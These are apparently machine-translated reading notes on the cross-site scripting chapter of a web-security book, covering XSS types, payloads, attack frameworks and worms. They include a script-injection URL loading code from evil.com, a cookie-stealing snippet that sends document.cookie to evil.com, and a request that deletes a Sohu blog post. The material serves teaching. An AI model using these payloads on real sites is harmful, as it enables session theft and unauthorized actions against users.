3.1 XSS Introduction
The Cross site script was originally abbreviated as CSS, and in order to differentiate itself from CSS in web development, the security realm is called XSS.
The cause of XSS is the direct input of the user, output to the page, the hacker can input script statements to attack.
XSS Classification: Reflective XSS, need to persuade users to click on malicious links to attack success, storage-type XSS, also known as persistent XSS, hacker input data can be stored on the server; DOM based XSS, in fact, is a reflective XSS that is attacked by modifying the DOM of the page.
3.2 XSS Attack advanced
3.2.1 on XSS payload
XSS payload is actually Java script, and can also say flash or other rich client script.
The real payload is written in a remote script to avoid writing a lot of code directly in the URL, such as:
http://www.a.com/test.htm?abc= "><script src=http://www.evil.com/evil.js></script>
Code to steal Cookies:
var img = document.createelement ("img");
IMG.SRC = "Http://www.evil.com/log?" +escape (Document.cookie);
Document.body.appendChild (IMG);
Cookie HttpOnly can prevent cookie hijacking.
3.2.2 Powerful XSS payload
Example of a GET request: if there is an XSS vulnerability on the Sohu blog and you know the article ID, then delete the Sohu blog post, just adjust:
IMG.SRC = "http://blog.sohu.com/manage/entry.do?m=delete&id=1234567
Example of a POST request: using XSS to speak on the watercress, you can construct a form or XMLHttpRequest two ways to initiate the post request, the code is longer, see the book p48-49. The book also has a more complex example of reading QQ mailbox.
XSS lack of interaction with the user, for this issue, the book cited two examples, one for the verification code, and the other on the construction of the password input box, phishing method to obtain the user password.
Identify the user's browser
Identify user-installed software
Get the real IP address of the user
The above few need to be studied again.
3.2.3 XSS Attack Platform
Attack API, BeEF, XSS Proxy
3.2.4 Ultimate Weapon XSS Worm
The two examples of MySpace and Baidu space are quite difficult.
3.2.5 Debugging JS
Firebug: The first tool, the disadvantage is that only the best support for Firefox.
IE developer Tools, Fiddler, HttpWatch and so on.
3.2.6 XSS Construction Tips
"White hat Talk Web Security" chapter III XSS Reading notes